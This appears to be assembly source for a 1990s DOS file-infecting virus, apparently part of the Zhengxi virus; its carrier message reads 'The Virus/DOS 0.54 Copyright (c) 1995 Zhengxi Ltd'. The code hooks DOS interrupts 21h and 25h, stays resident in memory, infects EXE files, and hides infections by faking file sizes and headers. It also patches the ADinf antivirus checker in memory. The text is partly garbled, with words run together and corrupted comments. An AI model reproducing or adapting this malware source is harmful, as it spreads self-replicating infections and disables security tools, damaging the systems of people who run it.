CRC32w < 'U' , 'U' , 'E' , 'N' , 'C' > ;uuencodeCRC32w < 'P' , 'K' , 'L' , 'I' , 'T' > ;PKLITECRC32w < 'L' , 'Z' , 'E' , 'X' , 'E' > ;lzexeCRC32w < 'N' , 'D' , 'D' , '.' , 'E' > ;ndd.exeCRC32w < 'D' , 'I' , 'E' , 'T' , '.' > ;diet.CRC32w < 'S' , 'C' , 'A' , 'N' , 'D' > ;scandiskCRC32w < 'S' , 'D' , '.' , 'E' , 'X' > ;sd.exeCRC32w < 'S' , 'P' , 'E' , 'E' , 'D' > ;speediskCRC32w < 'D' , 'E' , 'F' , 'R' , 'A' > ;defragCRC32w < 'T' , 'L' , 'I' , 'N' , 'K' > ;tlinkCRC32w < 'W' , 'L' , 'I' , 'N' , 'K' > ;WlinkCRC32w < 'L' , 'I' , 'N' , 'K' , '.' > ;link.exeCRC32w < 'D' , 'P' , 'M' , 'I' , '1' > ;DPMI16CRC32w < 'D' , 'P' , 'M' , 'I' , '3' > ;DPMI32CRC32w < 'R' , 'T' , 'M' , '.' , 'E' > ;RTM.EXECRC32w < 'R' , 'T' , 'M' , '3' , '2' > ;RTM32.EXE

nostlnamescount = ($- nostlnames )/ 2;-+------------------------------------------------ ------------------------+-endsend

include zurich.asicode segment byte publicassume cs : code , ds : code , es : code , ss : code;extrn begin_rnd_procs:dword;extrn carrier :near;extrn end_msg :nearpublic r_lopublic r_hi;.model tiny;.code

;10DCD; r_hi r_lo;-------------------; xxxx xxxx r_lo * 0DCDh; yyyy yyyy r_hi * 0DCDh; r_hi r_lo * 1;-------------------;************************************************** *************************pblabel RND_GET

push dx cxmov ax , cs : r_lomov cx , 0DCDhmul cxinc axadc dx , 1111h

r_lo equ word ptr $- 2mov cs : r_lo , axmov ax , 1111h

r_hi equ word ptr $- 2xchg cx , dxmul dxadd ax , cxmov cs : r_hi , axpop cx dxsahfret

; dd ?;************************************************** *************************pblabel RND_INIT

push ds simov si , 43hmov ds , sipush word ptr ds :[ si - 43h* 11h+46Ch] ;lopop cs : r_lopush word ptr ds :[ si - 43h* 11h+46Eh] ;hipop cs : r_hi

push axin al , 40hxor byte ptr cs : r_hi , alpop axpop si dsret

;************************************************** *************************;extrn Calculate_CRC :near;************************************************** *************************pblabel RND_GET_BYTE

call RND_GETmov ah, 0ret

;************************************************** *************************pblabel RND_GET_THREE_BITS

call RND_GET_BYTEpushfand al , 00000111bpopfret

;************************************************** *************************;rnd_procs_size = $-begin_rnd_procsendsend

INCLUDE ZURICH.ASIcode segment byte publicassume cs : code , ds : code , es : code , ss : code

extrn InfectTurn :byteextrn r_lo :wordextrn r_hi :word

extrn InfectName :nearextrn get_crc_just_fname :nearextrn heap :nearextrn crypt_exe_header :nearextrn no_freq_proc :nearextrn crypt_exe_header_custom :nearextrn WRITE_EXEHDR:nearextrn TEST_SIZE :nearextrn STEALTHNAME :nearextrn GET_SFT :nearextrn vir_heap :nearextrn InfectHandle :nearextrn start_data :wordextrn get_own_name :nearextrn heap :nearextrn st25 :nearextrn ret_hook :dwordextrn ret_sux :wordextrn continue21 :nearextrn get_cur_time :nearextrn calculate_crc :nearextrn vir_heap :nearextrn Calculate_CRC :near

extrn Calculate_CRC5 :near

;************************************************** **************************;*** VIRUS STARTUP **************************** **************************;************************************************** **************************

org 0pblabel virus_zero

DB 0cH DUP ( opNOP)dw 0 ;bp-30h : SSdw 0 ;bp-2eh : SPdw 0 ;bp-2ch : sumdw 0Ah+0cH ;bp-2ah : IPdw 0 ;bp-28h : CS

nop.EXITorg VIRUSSTACKSIZE- 16h

pblabel begin_stackst_es dw ? ;-16st_ds dw ? ;-14st_di dw ? ;-12st_si dw ? ;-10st_bp dw ? ;-Est_sp dw ? ;-Cst_bx dw ? ;-Ast_dx dw ? ;-8st_cx dw ? ;-6st_ax dw ? ;-4st_fl dw ? ;-2pblabel end_stack;************************************************** **************************pblabel virus_entry

push sicall vs

public __________ db ( zmeflARX and 0FFh);0-classic EXE;1-abnormal termination (for carrier);2-retfpblabel relocator

DOSEGCSlodsbdb opSEGCS, 88h , 44h

shiftval db ? ; mov cs:[si+shiftval], alCYCLE LUiret

pblabel vspop sipush ax cx di bppushfstdlea ax , _____sub ax , sipush axand ax , 0Fhadd al , 11h ;suxxx*10h+1h ; suxxx=1mov cs :[ si +( offset shiftval )-( offset _____ )], alpop axsar ax , 4dec ax ; sub ax, suxxxmov bp, spmov di , ss :[ bp+4+6+2]

cmp byte ptr cs :[ di - 3], opCALLDOIF E

add 1 ptr cs :[ si +( offset shiftval )-( offset _____ )], 060hsub ax , 06hdec dimov byte ptr cs :[ di ], 0EChdec dimov byte ptr cs :[ di ], 8Bhdec dimov byte ptr cs :[ di ], 55hmov ss :[ bp+4+6+2], dipush cspush dipushflea bp, vvvo

DOELSElea bp, vvv

DONEmov cx , cssub cx , axpush cxpush bplea si , [ si +(( offset start_data ))- _____ ]mov cx , ( offset start_data )- VIRUSSTACKSIZE+2jmp relocator

;-------------pblabel vvvobegin_auto :

pop dword ptr cs :[ frret ]popf

;************************************************** **************************pblabel vvv

pop bp di cx ax si

;save vect1push dsMOVSEG ds , cslea dx , tmp1mov ax , 2501hint 21hpop ds

pushfcall trace_cpmpopfcmp cs : _____ , ( zmeflOBJ and 0FFh)DOIF E

inc spinc sp

retobj db 0EAhpublic_key :frret dd ?

DONE

cmp cs : _____ , ( zmeflIXE and 0FFh)DOIF E

retfDONEcmp cs : _____ , ( zmeflEXE and 0FFh) ;-?jnz carrier ;/

mov cs :[ vir_heap._after_goto ], offset goto_exe

call user_procpblabel goto_EXE ;api;(ss-es-0x17)<<4+sp;ss=cs-1;(cs-es-0x18)<<4+sp

mov ax , esmov si , 10hadd ax , sipush espush ax ;psp

mov bx , cssub ax , bxneg axcwdmul simov si , [ save_SP ]sub si , 7Ehadd ax , siadc dx , 0push sicall crypt_exe_header_custompop silea di , [ heap ]mov cx , 16h / 2rep movswcall dipop axpop esmovseg ds , esadd cs :[( heap - 2) .exe_SS ], axadd cs :[( heap - 2) .exe_CS ], axmov ss , cs :[( heap - 2) .exe_SS ]mov sp , cs :[( heap - 2) .exe_SP ]jmp dword ptr cs :[( heap - 2) .exe_IP ]

;************************************************** **************************pblabel carrier

call endmsg; db 'This program requires Microsoft Windows.'; db 'The Application Program Interface (API) enter ed'; db 'will only work in OS/2 mode.'

db 'Abnormal program termination' , CRLF, '$';public_key dd ?

db CRLF, 'The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd '; db CRLF,'Don''t distribute this program!',CRLF

db CRLF, 'Warning! This program for internal use only!' , CRLF

pblabel endmsgpop dxmovseg ds , csmov ah, 9int 21h.exit

;************************************************** **************************;************************************************** **************************;************************************************** **************************;************************************************** **************************;************************************************** **************************

;funcs21 equ <00,11,12,31,3D,3E,3F,41,42,48,49,4 A,4B,4C,4E,4F,67,6C> ;funcs21 equ <67, 3E, 6C, 3F, 49, 00, 3D, 41, 4A, 11, 4B, 31, 48, 4C, 4E, 42, 12, 4F> ;

pblabel functions

% IRP foo , funcs21db (& foo &h shl 1) xor &foo &h

ENDMfuncnt = $- functions

MRORMACROw1, shvaldw ( w1 shr ( shval and 0Fh)) or (( w1 shl ( 10h -( shval and 0Fh))) and 0FFFFh)

ENDM

MROLMACROw1, shvaldw (( w1 shl ( shval and 0Fh)) and 0FFFFh) or ( w1 shr ( 10h -( shval and 0Fh)))

ENDM

% IRP foo , funcs21MROR<(( bfr_ &foo - virus_zero ) xor ($+ 2- virus_zero ))>, <( bfr_aft -$)>MROL<(( aft_ &foo - virus_zero ) - ($+ 2- virus_zero ))>, <( bfr_aft -($- 2))>public bfr_ &foopublic aft_ &foo

ENDMbfr_aft = $- 4

;-+------------------------------------------------ ------------------------+-pblabel user_proc

mov cs :[ vir_heap._save_ss ], ssmov cs :[ vir_heap._save_sp ], spmovseg ss , cslea sp , end_stackpushfclicldpushawpush ds eslea bp, vir_heap +80Hcall [ after_goto ]

pblabel rt_errlea sp , begin_stack ;end_stack-20dpop es dspopawpopfmov ss , cs :[ vir_heap._save_ss ]mov sp , cs :[ vir_heap._save_sp ]retn

;-+------------------------------------------------ ------------------------+-;-+------------------------------------------------ ------------------------+-pblabel RANDOMIZE

lea si , begin_automov di , end_auto - begin_automov [ si +( public_key - begin_auto ) .lo ], axmov [ si +( public_key - begin_auto ) .hi ], dxcall Calculate_CRCmov [ r_lo ], dxmov [ r_hi ], cxret

;-+------------------------------------------------ ------------------------+-

pblabel end_auto

;-+------------------------------------------------ ------------------------+-

bfr_3E :call RND_GETDOIF BE

ret

DONEjmp InfectHandle

aft_3E : ;retjmp InfectName

;-+------------------------------------------------ ------------------------+-bfr_41 :pblabel Doctor_Name

mov ax , 3D12hifInfJump NameCustommovseg ds , sspush ax dxcall restore_headerpop cx dxcall dosseek ;seekcall DosTruncatecall write_exehdrjmp dosclose

;Doctor_Name endp;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-aft_11 :aft_12 :

movseg ds , csand al , aljnz $retmov ah, 2fh ; get DTAcall DosCallmov ax , word ptr es :[ bx +24h ] ;really not need,call test_size ;ZF=0 - no infected file ;speed optimizationjnz $ret ;lea di , StealthNamemov cx , 11dDO

mov al , es :[ bx +8]inc bxcmp al , ' 'DOIF NE

mov ds :[ di ], alinc di

DONEcmp cx , 4DOIF E

mov byte ptr ds :[ di ], '.'inc di

DONECYCLE LUmov byte ptr cs :[ di ], ch ;0add bx , 0Chjmp stlts_find_name

;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-bfr_6C :

test dl , 1 ;no openPASS Ztest bl , 3 ;r/0DOIF NZ

push dxmov dx , sicall Doctor_Namepop dx

MASKA <ds :[ st_bx.l ]>, xxxxxx10 ;R/W blDONE

;-+------------------------------------------------ ------------------------+-bfr_49 :aft_42 :aft_00 :aft_4C :bfr_4f :bfr_11 :bfr_12 :bfr_def :@retn :aft_def :aft_41 :$ret : ret;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-aft_4E :aft_4F :

MOVSEG ds , cslea di , StealthName - 1DO

inc dicmp byte ptr [ di ], 0

CYCLE NZDO

dec dicmp di , offset StealthName - 1EXIT Ecmp byte ptr [ di ], '\'

CYCLE NEinc dimov ah, 2Fh ;get DTAcall DosCall

mov cx , 0Dh ;es:bx+1e -0Dh-> ds:diDO

push word ptr es : find_buf_pname [ bx ]pop ds :[ di ]inc diinc bx

CYCLE LUTROJANFILETIME = ( 6 shl 11d ) or ( 6 shl 5) or ( 6 shr 1)

cmp es :[( bx - 0Dh) .find_buf_time ], TROJANFILETIME;DOIF E;int 2bh;DONE

je added_to_turn

test es :[( bx - 0Dh) .find_buf_attr ], 10h ;directory ?jnz no_added_to_turn

;

call RND_GET_BYTEand ax , 0dhjnz no_added_to_turn

;execut

; lea dx, StealthName; call get_crc_just_fname; jz no_added_to_turn

;-+--added to turn--------------------------------- ----------------------+-;ds:dx -> InfectTurnadded_to_turn :

lea si , StealthNamelea di , InfectTurnpush esmovseg es , ssmov cx , 40hrep movswpop es

;int 2bh; cmp es:[(bx-0Dh).find_buf_time], TROJANFIL ETIME

; DOIF Z; call InfectName ;ZFlag; DONEpblabel no_added_to_turn;#

mov ax , es :[( bx - 0Dh) .find_buf_size_l ] ;really not need,call test_size ;ZF=0 - no infected file ;speed optimizationjnz @retn ;

pblabel stlts_find_name ;extention test ?lea dx , StealthNamemov si , bxIfInfJump Name ;R/o mode ?mov word ptr es : find_buf_size_l [ si - 0Dh], axmov word ptr es : find_buf_size_h [ si - 0Dh], dxjmp dosclose

;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-bfr_4E :

movseg es , csmov si , dxlea di , StealthNamemov ah, 60hjmp doscall

;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-bfr_3D :

test al , 3DOIF NZ ;W/O R/W

call Doctor_NameMASKA <ds :[ st_ax.l ]>, xxxxxx10 ;R/W al

$?ret :ret

DONE

;comment #;*************************ADINFUCK***************** *************************

call get_crc_just_fnamecmp_ax_CRC32w <'A' , '-' , 'D' , 'i' , 'n' >jne $?retmov si , cs :[ save_SP ]mov ax , word ptr ds :[ si ][ 4]add ah, 0Ehmov ds , axxor si , si

DOmov di , 8call Calculate_CRCcmp_ax_CRC32w <74h , 0Ah, 0C4h, 5Eh, 0E2h, 26h , 81h , 0Fh>lodswPASS NExor al , ahDOIF E

mov ax , ds :[ si - 12] ;=1547 for {386}, =1557 for {86}add ax , offset adinf386_fuck - 1547hmov byte ptr ds :[ si - 8], 3Dh ;fuck 3bytemov byte ptr ds :[ si - 5], 9Ahmov word ptr [ si - 4], axmov word ptr [ si - 2], csDO

call Calculate_CRC5cmp_ax_CRC32w <0Ah, 0Bh, 0C0h, 74h , 3>DOIF E

xor byte ptr ds :[ si - 4], 0Bh xor 4 ; or ax,axret

DONEsub si , 6 ;backward search

CYCLE NZDONE

sub si , 9 ;forward searchCYCLE NS ;<8000hret

;-+-[ fucking adinf 9.xx and 10.xx ]--------------- ------------------------+-;new file size in (ax:dx){86} or eax{386};old file size in es:[bx.15h];-+------------------------------------------------ ------------------------+-MINVIRSIZE equ 6000dMAXVIRSIZE equ 16000dadinf386_fuck proc far

push ax ; 1sub ax , es :[ bx +15h ] ; 4les bx , [ bp][- 001Eh] ; 3cmp ax , MINVIRSIZE ; 3ja continue_fuck_1f_386 ; 2pop ax ; 1

end_fuck_1f_386 :ret ; 1

;-+------------------------------------------------ ------------------------+-org adinf386_fuck +10h;-+------------------------------------------------ ------------------------+-adinf_fuck proc far

xchg ax , dx ; 1call adinf386_fuck ; 3xchg ax , dx ; 1ret ; 1

adinf_fuck endp;-+------------------------------------------------ ------------------------+-continue_fuck_1f_386 :

cmp ax , MAXVIRSIZE ; 3pop ax ; 1jb end_fuck_1f_386 ; 2or word ptr es :[ bx ], 808h ; 5 ;old commandret ; 1

adinf386_fuck endp;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-aft_6C :

and cx , cx ;file openedDOIF Z

aft_3D :xchg bx , axIfInfJump Handle ;patch SFT sizecall get_sftmov byte ptr es :[ di.sf_name ], 0mov word ptr es :[ di.sf_size.hi ], dxmov word ptr es :[ di.sf_size.lo ], ax

DONEret

;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-bfr_3F : ;ret

call get_sfttest byte ptr es :[ di.sf_mode ], 3GOIN NZcmp word ptr es :[ di.sf_position.hi ], 0GOIN NZmov ax , word ptr es :[ di.sf_position.lo ]mov [ beg_pos_lo ], axcmp ax , 18hDOIF AE

call noffDONEIfInfJump Handlecall save_seek ;if (cx > f_real_size-pos) cx := f_real_size-possub ax , [ saved_seek.lo ]sbb dx , [ saved_seek.hi ]DOIF Z

MIN <cs :[ st_cx ]>, ax ;_CXDONEret

;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-aft_3F : ;ret

mov word ptr [ st_rd_off ], dxmov si , ds ;si:di - buffermov cx , 1Chsub cx , [ beg_pos_lo ]MIN cx , ax ;ax - delta posmov word ptr [ rd_st_cnt ], cxIfInfJump Handle

;-+------------------------------------------------ ------------------------+-call get_sft ;dx:ax - original size,inc byte ptr es :[ di.sf_size.1 ] ;add 100hpush sicall restore_headerdec byte ptr es :[ di.sf_size.1 ] ;sub 100hpop es

; DOIF NC; mov es, si ;es:di

mov cx , [ rd_st_cnt ]mov di , [ st_rd_off ]lea si , [ vir_heap._exehdr ]add si , [ beg_pos_lo ]rep movsb

; DONEret

;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-bfr_42 :

cmp al , 2 ;seek_endDOIF E

call seek_endcall Stealth_Seek ;seek to fake enddec cs :[ st_ax ] ; mov ax, 4201h

DONEretn

;-+------------------------------------------------ ------------------------+-pblabel Stealth_Seek ;dx:ax => cx:dx

ifInfJump Handlemov cx , dxxchg dx , axjmp dosseek

;-+------------------------------------------------ ------------------------+-

;comment #;-+------------------------------------------------ ------------------------+-bfr_4B : ;show block; cmp al, 0DBh; je goto_EXE

mov [ load_fname ], dxmov [ load_array ], bxpush axcall show_blockpop axtest al , 1 ;if 4b01(3) need afterDOIF Z

pblabel noffmov byte ptr cs : retu , opJMPS ;continue21-retu-1

DONEretn

;-+------------------------------------------------ ------------------------+-pblabel selector21

movseg ds , csmovseg es , csmov al , ahadd al , al ;hachxor al , ahmov di , 8mov word ptr ds :[( di - 8)+ arena_owner ], di ;cslea di , functionsmov cx , funcntrepne scasbjnz nofflea si , bfr_aftshl cx , 2sub si , cxlodswrol ax , clxor ax , simov [ after_goto ], ax ;bfrlodswror ax , cladd ax , simov word ptr [ after_dos_goto ], ax ;aftret

;-+------------------------------------------------ ------------------------+-bfr_4A :bfr_48 :

; cmp al, 36h ;for 'Lingvo' compatible; mov al, 0; DOIF NE

mov byte ptr cs :[ dos_cf ], 0 ;al; DONE

;-+------------------------------------------------ ------------------------+-bfr_67 :pblabel show_block;ret;int 2bh

call find_mcbDOIF NE ;si=0

mov cx , dssub bx , cxmov ax , ds :[ si.arena_size ]sub ax , bxmov cs :[ si.arena_size ], axdec bxmov ds :[ si.arena_size ], bxmov al , byte ptr ds :[ si.arena_signature ]mov byte ptr ds :[ si.arena_signature ], 'M'mov byte ptr cs :[ si.arena_signature ], al

DONEret

;-+------------------------------------------------ ------------------------+-aft_4B :

mov dx , [ load_fname ]call loadprog

;-+--hide_block------------------------------------ ------------------------+-aft_48 :aft_67 :aft_4A :;ret;int 2bhpblabel hide_block

call find_mcbDOIF E

mov ax , cs :[ si.arena_size ]inc axadd ds :[ si.arena_size ], axmov al , byte ptr cs :[ si.arena_signature ]mov byte ptr ds :[ si.arena_signature ], al

DONEret

;CRPROC find_mcb, 227Dh ;return dspblabel find_mcb

sub si , simov ah, 52hcall DosCall ;es:[bx][2] - root mcbmov ax , es :[ bx ][- 2]mov bx , csDO

mov ds , axadd ax , word ptr ds :[ si.arena_size ]inc axcmp ax , bx

CYCLE Bret

;endp

;-+------------------------------------------------ ------------------------+-

pblabel loadprogifInfJump Name

; mov si, word ptr [exehdr.exe_CS]; mov di, word ptr [exehdr.exe_SS]

push word ptr [ exehdr.exe_CS ]push word ptr [ exehdr.exe_SS ]push escall restore_headercall dosclosepop espop di simov bx , [ load_array ]sub si , word ptr [ exehdr.exe_CS ]sub di , word ptr [ exehdr.exe_SS ]sub word ptr es : Exec1_CS[ bx ], sisub word ptr es : Exec1_SS[ bx ], dimov si , word ptr [ exehdr.exe_IP ]mov di , word ptr [ exehdr.exe_SP ]mov word ptr es : Exec1_IP [ bx ], simov word ptr es : Exec1_SP[ bx ], di

@ret :ret

;loadprog endp;-+------------------------------------------------ ------------------------+-

bfr_4C :bfr_00 :IF @Cpu AND 1 ;x86

push offset noffELSE ;8086

lea ax , noff ;call aft_49push ax ;jmp noff ;ret

ENDIFbfr_31 :aft_31 :aft_49 :;ret;time_test; call get_cur_time; sub ax, [last_infect_time]; cmp ax, INTERVAL_INFECT ;0.5 ¬-; jl @ret

call no_freq_proc

mov cs : arena_owner , 8mov ax , 1600h ;test for MS winint 2Fhcmp ax , 1600hjne @ret

mov ax , 5802hcall DosCallpush axmov bx , 1mov ax , 5803hcall DosCallmov ax , 5800hcall DosCallpush axmov bl , 82h ;high UMB usemov ax , 5801h

call DosCallmov ah, 48hmov bx , all_memory_size_p - 1call DosCallDOIF NC

sub di , didec axmov es , ax

; mov bx, cs; cmp ax, bx; DOIF B; mov es:[di.arena_owner], di; DOELSE

mov cs :[ di.arena_owner ], dilds si , dword ptr cs : offset25mov word ptr ds :[ si +3], es ;

call virus_move; DONE

DONEmov ax , 5801h ;restorepop bxcall DosCallmov ax , 5803h ;restorepop bxjmp DosCall

;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-pblabel save_seek

push ax cx dxcall Dostell ;dx:ax - cur posmov [ saved_seek.lo ], axmov [ saved_seek.hi ], dxpop dx cx axret

;save_seek endp;-+------------------------------------------------ ------------------------+-

pblabel restore_header ;dx:ax - original size;int 2bh

push ax dxcall save_seekcall crypt_exe_header

pop cx dxcall DosSeek ;seeklea dx , [ heap ] ;[exehdr.exe_len_mod_512]mov cx , 16hcall DosReadcall heap +16h

lea si , [ heap ]lea di , [ vir_heap._exehdr.exe_len_mod_512 ]mov cx , 16h / 2rep movsw

pblabel restore_seekmov dx , [ saved_seek.lo ]mov cx , [ saved_seek.hi ]jmp dosseek

;restore_seek endp

;restore_header endp

;************************************************** **************************

pblabel p1lds si , dword ptr [ save_sp ]lds si , dword ptr ds :[ si +2]mov di , 0chpush sicall calculate_crcpop sicmp_ax_CRC32w <6h, 1Eh, 55h , 57h , 56h , 52h , 51h , 53h , 50h , 8Ch, 0D8h, 2Eh>JE tunnel_detectcmp_ax_CRC32w <6h, 1Eh, 55h , 57h , 56h , 52h , 51h , 53h , 50h , 8Bh, 0ECh, 0E8h>jne __retn

tunnel_detect :;íâ® ¢ë¯®«-ï¥âáï ⮫쪮 ¯à¨ ¯¥à¢®© ãáâ -®¢ª¥ ¢¨àãá ¢ ¯ ¬ïâì

movseg es , ssmov cx , 11dlea di , continue21rep movsbsto_byte opJMPFAR

mov ax , 1600h ;â¥áâ - *®àâ®çª¨int 2Fhcmp ax , 1600hjne __retnmov ax , 3305h ;if BOOT-drive A: or B:int 21hsub dl , 3jc __retnpush ds ;DS:SI - end of tunnel, (so21+TUNNELSIZE)

;-------------------------------------------------- -------------;test for popup program

mov di , 2mov ds , dimov ax , word ptr ds :[( 08h* 4+2)+( di - 2* 11h )]cmp ax , word ptr ds :[( 13h* 4+2)+( di - 2* 11h )]PASS NEcmp ax , word ptr ds :[( 28h* 4+2)+( di - 2* 11h )]DOIF E

no_stay_resident :pop ds

__retn :ret

DONE;-------------------------------------------------- -------------

mov ah, 2Fhint 21h ;get DTApush es bxmovseg ds , cslea dx , [ vir_heap._exehdr ]mov ah, 1Ahint 21h ;set DTAcall get_own_name ;ds:dx -curnamemov ah, 4Ehint 21h ;find firstpop dx dsmov ah, 1Ahint 21h ;set DTAmov ah, 2Ahint 21h ;get system date

xor dx , [ exehdr.find_buf_date ]and dx , 18h ;week onlyjz no_stay_resident

mov ah, 51hint 21h

mov es , bx ;es- current PSPdec bxmov ds , bx ;ds- current MCBmov bx , ds :[ arena_size ] ;ds- size of current blocksub bh, ( all_memory_size_p shr 8)mov ah, 4Ahint 21h ; increate current block sizemov ah, 48hmov bx , all_memory_size_p - 1int 21h ; allocate memory for virusjc no_stay_resident ;cannot allocate memory for viruscmp word ptr es :[ 0], 20CDhDOIF Esub byte ptr es :[ PDB_block_len +1], ( all_memory_size_p shr 8)+ 1DONEdec axpop es ;o21

;so21 -> es:di ;si=o21+0Chlea di , [ si - 11d ] ;[si-TUNNELSIZE]xchg dx , ax ;ax - future virii segment

;get so25 (ds:si)mov si , 8mov ds , silds si , ds :[ si ][ 25h* 4][- 88h ]

;so25 -> cs:[offset25];int 2bh

mov cs :[ offset25.lo ], si ;ds:si = so25mov cs :[ offset25.hi ], ds ;

;store (2Eh, 0FFh, 1Eh, o21+7, 0C7h, 6, o25, s25) - > [so21];write TUNNEL

sto_byte 2Ehsto_two_byte 0FFh, 1Ehlea ax , [ di - 3+5]mov [ hook ], axinc axinc axstoswsto_two_byte 0C7h, 6sto_word_ si ;o25sto_word_ ds ;s25

;move5 [so25] -> ss:(cs:)five_byteslea di , [ vir_heap._five_bytes ]movseg es , ssmovs5

;store (0EAh, memory_virentry, AX) -> [so25]movseg es , ds ;s25lea di , [ si - 5]sto_byte opJMPFARsto_word_ <offset memory_virentry >xchg dx , ax ;ax - future virii segmentstoswmov es , ax ;es - future virii segment

;----move virus to new location-------------------- ----------------------+-;----setup incubator------------------------------- ----------------------+-

call get_cur_timeadd ax , INCUB_TIME

mov cs :[ last_infect_time ], axpblabel virus_move

mov di , VIRUSSTACKSIZEmov si , dilea cx , [ heap ] ;virus_sizesegcs rep movsb

; $BEEP$no_stay :

ret;************************************************** **************************

;************************************************** **************************pblabel trace_cpm

mov cx , 1919hpush cspush sp ;fakepush cx ;for enable trace flagpush 0Ch ; ;PUSH 0 1 bpush 0 ;push 0 ;PUSH C0h b0 10

;pblabel ent24; mov al, 3

iret ;execute CP/M command;************************************************** **************************

;************************************************** **************************pblabel tmp1

mov cs :[ vir_heap._after_goto ], offset p1call user_prociret

;************************************************** **************************

;************************************************** **************************pblabel call_real_25

pushfpush es di siles di , dword ptr cs :[ offset25 ]lea si , [ vir_heap._five_bytes ]cldSEGCS movswSEGCS movswSEGCS movsbpop si di espopfmov cs :[ vir_heap._abs_read_drive ], aldb 09Ah ;call [RealInt25h]

pblabel offset25dd ?pushfpush es di axles di , dword ptr cs : offset25cldmov al , opJMPFAR ;jmp farstosblea ax , memory_virentry ;stealth_abs_readstoswmov ax , csstoswpop ax di espopfret

;************************************************** **************************

;************************************************** **************************

pblabel memory_virentrypop cs :[ ret_sux ]push cs :[ ret_sux ]push axmov ax , cs :[ vir_heap._hook ]cmp ax , cs :[ ret_sux ]pop axDOIF NE ;"25"

call call_real_25DOIF NC

mov cs :[ vir_heap._after_goto ], offset st25 ;-bfr_basecall user_proc

DONE;*encrypt memory*********************************** **************************

retf;sssuxx db ?

DONEpop dword ptr cs :[ ret_hook ]add cs :[ ret_hook.lo ], 6

; mov cs:[sssuxx], ah; cmp ah, 4Fh; DOIF E; int 2bh; DONE

cmp ah, 51h ;reENTER virus, need for DRDOSDOIF E

continue21_1 :jmp continue21

DONEmov cs :[ vir_heap._after_goto ], offset selector21mov byte ptr cs :[ retu ], opCMP_ALimm ;retu_off-retu-1call user_proc ;selector; write new after_gotomov byte ptr cs :[ dos_cf ], r2 - r1call user_proc ;before DOS of double selector

pblabel retujmp SHORTcontinue21_1

; jmp continue21;*encrypt memory*********************************** **************************;************************************************** **************************

;************************************************** **************************;pblabel retu_off

call DosCall ;DOSdb opSEGCS, 0C7h, 06hdw vir_heap._after_goto

pblabel after_dos_gotodw UNINITdb 72h ;jc

pblabel dos_cfdb r2 - r1

pblabel r1call user_proc ;after DOS

pblabel r2sti ;!!!!!!!!!

;*encrypt memory*********************************** **************************retf 2

;************************************************** **************************

;************************************************** **************************pblabel DosTruncate

sub cx , cxpblabel doswrite_from_heap

lea dx , [ heap ] ;from heap

jmp doswrite;-+------------------------------------------------ ------------------------+-pblabel DosWrite_shbuf_22

mov cx , HDRBUFSIZEpblabel DosWrite_shbuf

lea dx , [ vir_heap._ziphdr ]pblabel DosWrite

mov ah, 40hjmp DosCall_exc

;-+------------------------------------------------ ------------------------+-pblabel read_buf_22

mov cx , HDRBUFSIZEpblabel read_buf_cx

lea dx , [ vir_heap._shift_buffer ]pblabel dosread

mov ah, 3Fhpblabel DosCall_exc

call DosCalljnc $$ret ;®¡à ¡®âª ®è¨¡®ª „Ž‘ (?)

;int 2bh; cmp [close_on_error], 3eh ;3e-no close; DOIF NE; call dosclose; DONE

jmp rt_err ; ¢®ááâ -®¢¨âì SP ¨ ¢¥à-ãâìáï ¢ userproc;-+------------------------------------------------ ------------------------+-

pblabel dosclosemov ah, 3Eh

; mov [close_on_error], ahjmp DosCall_exc

;************************************************** **************************

;************************************************** **************************pblabel dostell

xor dx , dxpblabel dosseek_cur_cx_0

xor cx , cxjmp dosseek_cur

;-+------------------------------------------------ ------------------------+-pblabel dosseek_cur_neg_ax

xchg dx , axpblabel dosseek_cur_neg_dx

neg dxjns dosseek_cur_cx_0 ; if dx > 0

;-+------------------------------------------------ ------------------------+-pblabel dosseek_cur_cx_1

mov cx , - 1pblabel dosseek_cur

mov al , 01hjmp DosSeek_all

;-+------------------------------------------------ ------------------------+-pblabel dosseek_bof

sub dx , dxpblabel dosseek_cx_0

sub cx , cxpblabel dosseek

mov al , 00hpblabel DosSeek_all

mov ah, 42hpblabel DosCall

pushf

push cscall continue21

$$ret :ret

pblabel seek_endmov al , 02h ;seek_endxor dx , dxxor cx , cxjmp DosSeek_all ;dx:ax - filesize

;************************************************** **************************

;************************************************** **************************pblabel calc_hdr_pages

mov cx , 200h ; dx:ax - new sizeand dx , 0fhdiv cxmov [ exehdr.exe_len_mod_512 ], dx ;ostatokadd dx , - 1 ;dec dx ?adc ax , 0mov [ exehdr.exe_pages ], axret

;************************************************** **************************

endsend virus_entry

include zurich.asicode segment byte publicassume cs : code , ds : code , es : code , ss : codeextrn offset25 :dwordextrn call_real_25 :nearextrn restore_header :nearextrn stealthname :nearextrn test_size :nearextrn doscall :nearextrn get_sft :nearextrn dosread :nearextrn heap :nearextrn dosclose :nearextrn vir_heap :near;-+------------------------------------------------ ------------------------+-;-+-[ stealth 25 ]--------------------------------- ------------------------+-;-+------------------------------------------------ ------------------------+-;-+------------------------------------------------ ------------------------+-; dir entry stealth; DS:SI = @dir_size_h;-+------------------------------------------------ ------------------------+-pblabel Stealth_Abs

ifInfJump Bufmov ds :[ si +( dir_size_l - dir_size_h )], ax ;stealth patch size in dir entrymov ds :[ si +( dir_size_h - dir_size_h )], dxret

;-+------------------------------------------------ ------------------------+-; exe header int25 stealth ?;-+------------------------------------------------ ------------------------+-

pblabel Stealth_Abs_rifInfJump Bufpush dsMOVSEG ds , sspush ax dx ;real file sizelea dx , file_for_fake_openmov ax , 3D40h ;open readonly

call DosCallxchg bx , ax ; DPB offset in AXpop dx axDOIF NC

push bx ;handlecall get_sft

; mov es:[di.sf_position.lo], ax; mov es:[di.sf_position.hi], dx

